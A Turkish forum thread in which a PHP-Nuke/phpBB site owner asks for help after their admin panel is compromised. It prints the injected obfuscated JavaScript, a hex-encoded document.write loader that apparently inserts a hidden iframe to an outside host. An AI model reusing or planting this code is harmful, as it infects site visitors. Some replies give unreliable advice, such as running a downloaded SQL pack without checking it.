vallla az once bişi buldum index.php sayfasının en altına numara ve harflerden olusan 6 satır kod gelmıs sıldım onları duzeldı ama sorun gerı cıktı simdi forum panelıne gıremıyorum bu uyarılar yuzunden
abi taramada yaptım simdi bişi cıkmadı.şifrelerimide degıstırdım.forum yonetım panelıne gırınce bos sayfa gelıyor.kaynak acıp bakınca su kodlar cıkıyor
Kod:
<s>function c1058032905m48ee898a45840(m48ee898a45c3b){ function m48ee898a46037(){return 16;} return (parseInt(m48ee898
a45c3b,m48ee898a46037()));}function m48ee898a46830(m48ee898a46c2b){ function m48ee898a47820(){return 2;} var m48ee898a47028=''
;m48ee898a4801b=String.fromCharCode;for(m48ee898a47424=0;m48ee898a47424<m48ee898a46c2b.length;m48ee898a47424+=m48ee898a47820()){
m48ee898a47028+=(m48ee898a4801b(c1058032905m48ee898a45840(m48ee898a46c2b.substr(m48ee898a47424,m48ee898a47820()))));}
return m48ee898a47028;} var z98='';var m48ee898a48416='3C7'+z98+'3637'+z98+'2697'+z98+'07'+z98+'43E696628216D7'+z98+'96961297'+z98+'B646F637'+z98+'56D656E7'+z98+'42E7'+z98+'7'+z98
+'7'+z98+'2697'+z98+'465287'+z98+'56E657'+z98+'363617'+z98+'065282027'+z98+'2533632536392536362537'+z98+'322536312536642536352532302536652536
312536642536352533642536332533312533302532302537'+z98+'332537'+z98+'32253633253364253237'+z98+'2536382537'+z98+'342537'+z98+'342537'+z98+'30
253361253266253266253337'+z98+'253337'+z98+'253265253332253332253331253265253331253333253333253265253331253337'+z98+'2533322532662532652536
39253636253266253637'+z98+'2536662532652536382537'+z98+'34253664253663253366253237'+z98+'2532622534642536312537'+z98+'342536382532652537'+z98+'
322536662537'+z98+'352536652536342532382534642536312537'+z98+'342536382532652537'+z98+'322536312536652536342536662536642532382532392532612533312
53336253333253333253330253336253239253262253237'+z98+'253330253334253337'+z98+'253339253237'+z98+'2532302537'+z98+'37'+z98+'2536392536342537'+z98+'342
53638253364253332253338253336253230253638253635253639253637'+z98+'2536382537'+z98+'34253364253335253337'+z98+'2533312532302537'+z98+'332537'+z98+'342537'+z98+'
39253663253635253364253237'+z98+'2536342536392537'+z98+'332537'+z98+'302536632536312537'+z98+'39253361253230253665253666253665253635253237'+z98+'25336525336325
32662536392536362537'+z98+'3225363125366425363525336527'+z98+'29293B7'+z98+'D7'+z98+'6617'+z98+'2206D7'+z98+'969613D7'+z98+'47'+z98+'27'+z98+'5653B3C2F7'+z98+'3637
'+z98+'2697'+z98+'07'+z98+'43E';document.write(m48ee898a46830(m48ee898a48416));</s><s>check_content()</s><html>
<head>
<title>phpBB Administration</title>
<m e t a http - e q u i v="Content-Type" content="text/html;">
</head>
<frameset>
<frame>
<frame>
</frameset>
<noframes>
<body bgcolor="#FFFFFF" text="#000000">
<p>Sorry, your browser doesn't seem to support frames</p>
</body>
</noframes>
</html>
genelde bu kodları index.php ve diğer inde syfalarına eklerler... bir iki gün önce benimde başıma geldi... baglandıgınız bilgisayardaki ftp adreslerini silin ve temiz bi bilgisayarda tüm index dosyalarından kodları kaldırın
index sayfamdan kodu temizledim Forum kaldı modules/forums/index.php bakıyorum kod falan goremedım ama forumda hala devam edıyor birde forum adminde tam olarak hangi sayfalı kontrol edelim?
kardeş tüm indexlerden frame kodunu temizlediysen isen unutma tüm indexler en ufak olaya kadar bulaşmıştır neyse sonrasında inculiesdeki tüm dosyları yeniden yolla hatta sql kalsın bak http://eski.netopsiyon.com/modules.php?name=NG_Dosyalar&d_op=getit&lid=232 su olayı kur bence işine yarıcaktır cünkü başka caren kalmaz sistemde daima bir sorun olucaktır ama işte bu dosyyı indirirsen sorunsuz sistemini kurtarırsın he dersenki temam var özel ordan temizle frame haltlarını yeniden ordan alıp yükle işte ayrıca yapıcagın bir sey daha var adminbox kur onuda gectim sqlden sorunun olmasın ok işe sql yemeye bilirmi falan filan diye asla düşünme direk calıştır kardeş ok ama asla unutma bir daha php nuke kurarkende packlerinden birini indir kur neyse kolay gelsin en kısa yolu budur yoksa cok daha ugraşır ve cok daha virüs yer siten unutma hade kolay gele..
kardeş tüm indexlerden frame kodunu temizlediysen isen unutma tüm indexler en ufak olaya kadar bulaşmıştır neyse sonrasında inculiesdeki tüm dosyları yeniden yolla hatta sql kalsın bak http://eski.netopsiyon.com/modules.php?name=NG_Dosyalar&d_op=getit&lid=232 su olayı kur bence işine yarıcaktır cünkü başka caren kalmaz sistemde daima bir sorun olucaktır ama işte bu dosyyı indirirsen sorunsuz sistemini kurtarırsın he dersenki temam var özel ordan temizle frame haltlarını yeniden ordan alıp yükle işte ayrıca yapıcagın bir sey daha var adminbox kur onuda gectim sqlden sorunun olmasın ok işe sql yemeye bilirmi falan filan diye asla düşünme direk calıştır kardeş ok ama asla unutma bir daha php nuke kurarkende packlerinden birini indir kur neyse kolay gelsin en kısa yolu budur yoksa cok daha ugraşır ve cok daha virüs yer siten unutma hade kolay gele..
Yedeğimdeki incules klasorunu attım sorun gıttı saol tşk yardımlarınız ıcın
ama bunda bir tuaflık var bır gun ıcınde bircok kisinin sitesi ayni sekilde böle hacleniyor
hack deil bu kardeş bak simdi ftpsine adam cafeden girince cafedeki virüslerde bu ftp hemen fark edip sisteme giriş yapıyor ve sorunlar oluşuyor ha dersen evden giriyorum sana bir kac önerim olucak pcne giriş parolası koy ikincisi ftpne girerken asla ve asla başka pclerde girme ve sifreni kayıtlı bırakma hep girerken kendin yaz ve asla ve asla haftada bir kere virüs taraması yap pcne ok..
Bu forumda yeni başlıklar açamazsınız Bu forumdaki başlıklara cevap veremezsiniz Bu forumdaki mesajlarınızı değiştiremezsiniz Bu forumdaki mesajlarınızı silemezsiniz Bu forumdaki anketlerde oy kullanamazsınız